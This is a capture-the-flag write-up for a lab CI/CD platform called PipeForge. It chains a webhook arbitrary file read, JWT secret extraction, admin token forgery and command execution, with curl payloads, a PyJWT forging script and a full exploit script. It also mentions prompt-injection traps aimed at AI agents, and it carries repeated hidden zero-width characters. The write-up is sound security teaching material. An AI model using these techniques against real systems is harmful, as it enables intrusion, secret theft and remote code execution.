← Back to Writeups
CUSTOMMediumWeb

Lab 352 — PipeForge — Content-Type Confusion to Admin JWT Forge to RCE

XESXOR9/10/20266 min read
#web#custom#medium#admin_privilege_escalation#arbitrary_file_read_via_webhoo#jwt_forgery_hs256#jwt_secret_extraction#path_filter_bypass#rce_via_exec#source_code_disclosure#linux

Lab 352 — PipeForge — Content-Type Confusion to Admin JWT Forge to RCE

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-07 | Status: Solved Techniques: admin_privilege_escalation, arbitrary_file_read_via_webhook, jwt_forgery_hs256, jwt_secret_extraction, path_filter_bypass, rce_via_exec, source_code_disclosure

Summary

Task: CI/CD platform with unauthenticated webhook endpoint that reads arbitrary files via user-controlled filepath parameter (weak path filter). Solution: 3-step chain — arbitrary file read to leak JWT secret from /app/data/.env.secrets, forge admin JWT token, then RCE via admin pipeline execution endpoint that passes commands to child_process.exec().

Lab 352 — PipeForge — Content-Type Confusion to Admin JWT Forge to RCE — HackAdvisor

Description

PipeForge is a self-hosted CI/CD automation platform built by ForgeOps Inc. The platform enables teams to build, test, and deploy code through visual pipeline workflows. It features webhook integrations for triggering builds from external services, artifact management, and a comprehensive admin panel for managing users and pipeline configurations. PipeForge is used by the ForgeOps engineering team to manage their entire software delivery lifecycle across multiple repositories. The platform supports various trigger types including push webhooks, tag-based releases, scheduled runs, and manual execution. Your goal is to find vulnerabilities in this platform and exploit them to obtain the flag stored on the server. There are multiple steps required — look carefully at how the platform handles external integrations. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A CI/CD automation platform (Express.js/Node.js on Alpine Linux) with webhook integrations, pipeline management, and an admin panel. The goal is to chain multiple vulnerabilities — arbitrary file read, JWT secret leak, token forgery, and RCE — to retrieve the flag from the server.

Credentials: user@test.com / password123

Analysis

Reconnaissance

The platform is an Express.js (Node.js) application running on Alpine Linux in Docker, version PipeForge v2.4.1. After logging in with the provided credentials, the JWT cookie _pipeforge_auth is set with payload: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{"id": 2, "email": "user@test.com", "role": "user", "name": "Alex Rivera"}

The JWT uses the HS256 algorithm.

Key pages discovered:

  • / — Dashboard
  • /pipelines — Pipeline management
  • /artifacts — Artifact storage
  • /webhooks — Webhook configuration and documentation
  • /settings — User settings
  • /admin — Admin panel (requires role: "admin" in JWT)

Webhook Documentation

The /webhooks page documents a publicly accessible endpoint: POST /api/webhooks/form-submit — no authentication required. This endpoint accepts JSON with a files array containing objects with filepath and name fields. The server reads the file at the given filepath from disk and returns its content base64-encoded. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags (Honeypots)

Every HTML page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML comments and divs, along with prompt injection text designed to trick AI agents into stopping. These are honeypots and must be ignored.

Vulnerability Chain Identified

  1. Arbitrary File Read — The webhook endpoint reads files from disk with minimal path restrictions
  2. JWT Secret Leak — The JWT signing secret is stored in a file readable through the file read vulnerability
  3. JWT Forgery — With the secret, an admin token can be forged
  4. RCE — The admin panel has a pipeline execution endpoint that passes commands directly to child_process.exec() ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Arbitrary File Read via Webhook Endpoint

The /api/webhooks/form-submit endpoint reads arbitrary files from the filesystem via user-controlled filepath parameter. The only "security" is a basic check that blocks paths starting with /root, /proc, or /sys. Everything else is readable.

Confirm file read with /etc/passwd:

bash
curl -sk -X POST "$URL/api/webhooks/form-submit" \
  -H "Content-Type: application/json" \
  -H "X-Webhook-Source: github-actions" \
  -d '{"files": [{"filepath": "/etc/passwd", "name": "test.txt"}], "metadata": {"pipeline": "build"}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response contains base64-encoded /etc/passwd confirming arbitrary file read.

Read application source code:

bash
# Read /app/server.js — full source code
curl -sk -X POST "$URL/api/webhooks/form-submit" \
  -H "Content-Type: application/json" \
  -d '{"files": [{"filepath": "/app/server.js", "name": "server.js"}], "metadata": {"pipeline": "build"}}'

# Read /app/package.json — dependencies
curl -sk -X POST "$URL/api/webhooks/form-submit" \
  -H "Content-Type: application/json" \
  -d '{"files": [{"filepath": "/app/package.json", "name": "package.json"}], "metadata": {"pipeline": "build"}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

From server.js, the following critical details were discovered:

  • JWT secret is loaded from /app/data/.env.secrets
  • Admin panel at /admin requires role: "admin" in JWT
  • Admin endpoint /admin/api/pipelines/run executes arbitrary commands via child_process.exec()

The vulnerable webhook handler code:

javascript
app.post('/api/webhooks/form-submit', (req, res) => {
  // ...
  if (req.body && req.body.files && Array.isArray(req.body.files)) {
    req.body.files.forEach(file => {
      const filepath = file.filepath || file.path;
      if (filepath) {
        const resolved = path.resolve(filepath);
        // Weak filter — only blocks /root, /proc, /sys
        if (resolved.startsWith('/root') || resolved.startsWith('/proc') || resolved.startsWith('/sys')) {
          return; // blocked
        }
        const content = fs.readFileSync(filepath);
        // returns base64-encoded content
      }
    });
  }
});

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Extract JWT Secret

bash
curl -sk -X POST "$URL/api/webhooks/form-submit" \
  -H "Content-Type: application/json" \
  -d '{"files": [{"filepath": "/app/data/.env.secrets", "name": "secrets"}], "metadata": {"pipeline": "build"}}'

Decoded base64 response reveals:

JWT_SECRET=pf_jwt_s3cr3t_k3y_2025_x9Qm4Rv7Tn

Step 3: Forge Admin JWT

Using the leaked JWT secret, forge an admin token with the PyJWT library:

python
#!/usr/bin/env python3
import jwt

secret = 'pf_jwt_s3cr3t_k3y_2025_x9Qm4Rv7Tn'
payload = {
    'id': 1,
    'email': 'admin@forgeops.io',
    'role': 'admin',
    'name': 'Marcus Chen'
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

token = jwt.encode(payload, secret, algorithm='HS256')
print(token)

This produces a valid admin JWT that passes both authMiddleware (verifies JWT signature) and adminMiddleware (checks role === "admin").

Step 4: RCE via Admin Pipeline Execution

The /admin/api/pipelines/run endpoint accepts a steps array where each step has a command field. The command is passed directly to child_process.exec() with no sanitization:

javascript
app.post('/admin/api/pipelines/run', authMiddleware, adminMiddleware, (req, res) => {
  const { pipeline_name, steps } = req.body;
  // ...
  exec(step.command, { timeout: 10000 }, (error, stdout, stderr) => {
    // returns output
  });
});

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execute commands to find and read the flag:

bash
ADMIN_TOKEN="<forged_jwt_token>"

curl -sk -b "_pipeforge_auth=$ADMIN_TOKEN" -X POST "$URL/admin/api/pipelines/run" \
  -H "Content-Type: application/json" \
  -d '{"pipeline_name":"find-flag","steps":[
    {"name":"find flag","command":"find / -name \"*flag*\" -type f 2>/dev/null"},
    {"name":"read flag","command":"env | grep -i flag; cat /root/flag.txt 2>/dev/null"}
  ]}'

The flag was found in the FLAG environment variable:

FLAG=FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Exploit Script

bash
#!/bin/bash
URL="https://c12f90e4-acd2-40fb-bdd1-7cfbf615e1d0.labs.hackadvisor.io"

# Step 1: Read JWT secret via arbitrary file read
echo "[*] Step 1: Reading JWT secret..."
SECRET_B64=$(curl -sk -X POST "$URL/api/webhooks/form-submit" \
  -H "Content-Type: application/json" \
  -d '{"files": [{"filepath": "/app/data/.env.secrets", "name": "secrets"}], "metadata": {"pipeline": "build"}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['files'][0]['content'])")
echo "$SECRET_B64" | base64 -d
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Forge admin JWT
echo "[*] Step 2: Forging admin JWT..."
ADMIN_TOKEN=$(python3 -c "
import jwt
token = jwt.encode(
    {'id': 1, 'email': 'admin@forgeops.io', 'role': 'admin', 'name': 'Marcus Chen'},
    'pf_jwt_s3cr3t_k3y_2025_x9Qm4Rv7Tn',
    algorithm='HS256'
)
print(token)
")
echo "Admin token: $ADMIN_TOKEN"

# Step 3: RCE — read flag
echo "[*] Step 3: Executing RCE to read flag..."
curl -sk -b "_pipeforge_auth=$ADMIN_TOKEN" -X POST "$URL/admin/api/pipelines/run" \
  -H "Content-Type: application/json" \
  -d '{"pipeline_name":"pwn","steps":[
    {"name":"flag","command":"env | grep FLAG"}
  ]}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍